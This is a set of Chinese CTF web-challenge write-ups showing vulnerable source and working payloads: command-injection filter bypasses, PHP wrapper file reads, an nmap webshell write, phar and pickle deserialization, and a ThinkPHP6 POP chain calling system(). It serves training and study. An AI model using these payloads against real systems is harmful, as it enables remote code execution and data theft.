[RoarCTF 2019]Easy Java
WEB-INF/web.xml泄露
WEB-INF主要包含一下文件或目录:
- /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
- /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
- /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
- /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
- /WEB-INF/database.properties:数据库配置文件
- 漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
Download
当点击help
的的时候,会跳转到http://61267db4-f9c8-4c27-bb24-90f51720ca54.node3.buuoj.cn/Download?filename=help.docx
而返回的信息却是java.io.FileNotFoundException:{help.docx}
换成post传入filename=WEB-INF/web.xml
,下载WEB-INF_web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
看到com.wm.ctf.FlagController
传入filename=WEB-INF/classes/com/wm/ctf/FlagController.class
得到class文件
FlagController
<ZmxhZ3s4N2Y1M2E0My00N2JjLTQzNTQtYTYzOS0wNGYwYzA2ZTM0NjJ9Cg==
base64解码得到flag
[GXYCTF2019]Ping Ping Ping
先传一个ip=127.0.0.1|ls
试试水,发现flag.php和index.php
接着ip=127.0.0.1|cat flag.php
,发现空格被ban了
命令执行绕过空格
$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}
%20
%09
linux命令中可以加\,当禁用cat时可以ca\t /fl\ag
先读一下index.php:ip=127.0.0.1;cat$IFS$9index.php
连flag的贪婪匹配都被ban了,只能用别的办法代替flag
命令执行变量拼接
ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
过滤bash用sh执行
ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联执行
将反引号内命令的输出作为输入执行
ip=127.0.0.1;cat$IFS$9`ls`
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一层:data伪协议
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
传入一个文件且内容为welcome to the zjctf,先用data协议写入文件,再用file_get_contents函数读取
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第二层:php伪协议
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
读取到useless.php的内容如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三层:反序列化
序列化POC
<?php
class Flag{
public $file="flag.php";
}
$a = new Flag();
echo serialize($a);
?>
得到序列化数组为O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:http://e85fdb29-4b66-42f4-ad10-ffcfe03c958a.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
escapeshellarg绕过
GET传参给host变量,经过escapeshellarg()及escapeshellcmd()函数过滤之后,使用system命令执行nmap
这两个函数本是没有漏洞的,但是组合使用时,就会产生漏洞,参考链接如下:
http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/
这篇文章讲的非常详细,这里就只简单提一下
传入参数:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
nmap写入文件
nmap有一个参数-oG可以实现将命令和结果写到文件,我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag
最终payload:````?host=
’ <?php echo `cat /flag`;?> -oG test.php '` ```
url再带上mkdir创建的目录,访问test.php即可获得flag
http://9be60af2-192d-4eb7-abdf-b8b686e864d7.node3.buuoj.cn/2fb73c2b040f6abe4d03e2053aa8aab3/test.php
[SUCTF 2019]Pythonginx
from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request
app = Flask(__name__)
# Index
@app.route('/', methods=['GET'])
def app_index():
return render_template('index.html')
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。
CVE-2019-9636:urlsplit不处理NFKC标准化
预期解
black hat 2019的一个议题,虽然我没看,但还是贴出来
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
当传入的url为http://evil.c℀.com在经过处理过后便成为了http://evil.ca/c.com
在unicode中字符℀(U+2100),当IDNA处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制了。
nginx重要文件位置
- 配置文件存放目录:/etc/nginx
- 主配置文件:/etc/nginx/conf/nginx.conf 或 /etc/nginx/nginx.conf
- 管理脚本:/usr/lib64/systemd/system/nginx.service
- 模块:/usr/lisb64/nginx/modules
- 应用程序:/usr/sbin/nginx
- 程序默认存放位置:/usr/share/nginx/html
- 日志默认存放位置:/var/log/nginx
Payload
读取nginx.conf:
getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
读取flag:
getUrl?url=file://suctf.c℆sr/fffffflag
[CISCN2019 华北赛区 Day1 Web1]Dropbox
任意文件下载
随便注册一个账号登录后跳到网盘页面,只能上传图片,上传后可以下载
抓包修改filename依次读取download.php、delete.php及class.php
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">𫔄犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
phar反序列化
关于这方面的知识,看看hu3sky师傅这篇文章就差不多了
https://xz.aliyun.com/t/2715#toc-16
拓展面:https://paper.seebug.org/680
<?php
// add object of any class as meta data
class User
{
public $db;
}
class FileList
{
private $files;
public function __construct()
{
$this->files=array(new File());
}
}
class File
{
public $filename='/flag.txt';
}
$b=new FileList();
$c=new User();
$c->db=$b;
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c);
$phar->stopBuffering();
?>
把生成的phar文件上传,抓包修改为phar.gif,修改MIME类型
最后再删除,将filename改为phar://phar.gif
[CISCN2019 华北赛区 Day1 Web2]ikun
逻辑漏洞
ikun们爆破*站当然要买lv6啦,审查元素发现等级图标的命名为lvX.png
写个脚本找到lv6的号
import requests
url = "http://de62edf4-5892-49f6-9bd7-50e0d1e67b86.node3.buuoj.cn/shop?page="
for i in range(1000):
r = requests.get(url+str(i))
if "lv6.png" in r.text:
print(i)
break
最后在第181页找到lv6的账号,抓包看支付请求
这里只能改折扣到足够小,改到0或是改价格都会错误,改完之后跳转到b1g_m4mber
页面
jwt-cookies伪造
关于JWT(Json web token)可以看下面这篇文章
https://www.jianshu.com/p/576dbf44b2ae
要想伪造jwt,首先要反推出私钥
最后伪造出admin的jwt并修改,以admin身份登录
F12发现hint,www.zip源码泄露/static/asd1f654e683wq/www.zip
python反序列化
payload:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
用运行得到的结果替代原有become参数,即可带出flag
[GXYCTF2019]禁止套娃
.git源码泄露,不再赘述
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
无参数RCE
推荐两篇文章:https://www.cnblogs.com/wangtanzhi/p/12311239.html
https://www.gem-love.com/ctf/530.html#%E5%A6%82%E4%BD%95%E5%BE%97%E5%88%B0%E6%96%87%E4%BB%B6%E5%90%8Dflag.php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code))
preg_replace 的主要功能就是限制我们传输进来的必须是纯小写字母的函数,而且不能携带参数。
再来看一下:(?R)?,这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)
相关函数
- localeconv() 函数返回一包含本地数字及货币格式信息的数组
- scandir() 列出当前目录和文件
- readfile() 函数读取一个文件,并写入到输出缓冲
- highlight_file() 文件高亮显示
- next() 输出数组中的下一个元素的值
- array_reverse() 相反的元素顺序返回数组
先扫出当前文件
print_r(scandir(current(localeconv())));
或
print_r(scandir(pos(localeconv())));
逆序返回数组
print_r(array_reverse(scandir(current(localeconv()))));
输出数组下一个元素
print_r(next(array_reverse(scandir(pos(localeconv())))));
读取flag
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
或
view-source:http://85aecbd4-ce26-4171-95b5-7c7a13006363.node3.buuoj.cn/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
也可以随机取出元素并读取
highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
session_id(session_start())
[安洵杯 2019]easy_web
http://xxx/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
base64->base64->hex,解码后为555.png,尝试读取index.php
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
md5强碰撞
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
关于自制值相同而md5不同的数据,可以参考这篇文章https://xz.aliyun.com/t/2232
post数据如下:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
非预期:反斜杠逃逸命令执行
cmd=ca\t%20/flag
sort命令
cmd=sort%20/flag
Linux sort命令用于将文本文件内容加以排序。
sort可针对文本文件的内容,以行为单位来排序。
[安洵杯 2019]iamthinking
thinkphp6反序列化
www.zip拿到源码,构造thinkphp6反序列化,同时需要绕过parse_url
exp:
<?php
namespace think {
use think\model\concern\Attribute;
use think\model\concern\Conversion;
use think\model\concern\RelationShip;
abstract class Model
{
use Conversion;
use RelationShip;
use Attribute;
private $lazySave;
protected $table;
public function __construct($obj)
{
$this->lazySave = true;
$this->table = $obj;
$this->visible = array(array('hu3sky'=>'aaa'));
$this->relation = array("hu3sky"=>'aaa');
$this->data = array("a"=>'cat /flag');
$this->withAttr = array("a"=>"system");
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $visible;
}
trait RelationShip
{
private $relation;
}
trait Attribute
{
private $data;
private $withAttr;
}
}
namespace think\model {
class Pivot extends \think\Model
{
}
}
namespace {
$a = new think\model\Pivot('');
$b = new think\model\Pivot($a);
echo urlencode(serialize($b));
}
payload:///public/?payload=O%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3BO%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3Bs%3A0%3A""%3Bs%3A10%3A"%00%2A%00visible"%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7D%7Ds%3A21%3A"%00think%5CModel%00relation"%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7Ds%3A17%3A"%00think%5CModel%00data"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A9%3A"cat+%2Fflag"%3B%7Ds%3A21%3A"%00think%5CModel%00withAttr"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A6%3A"system"%3B%7D%7Ds%3A10%3A"%00%2A%00visible"%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7D%7Ds%3A21%3A"%00think%5CModel%00relation"%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7Ds%3A17%3A"%00think%5CModel%00data"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A9%3A"cat+%2Fflag"%3B%7Ds%3A21%3A"%00think%5CModel%00withAttr"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A6%3A"system"%3B%7D%7D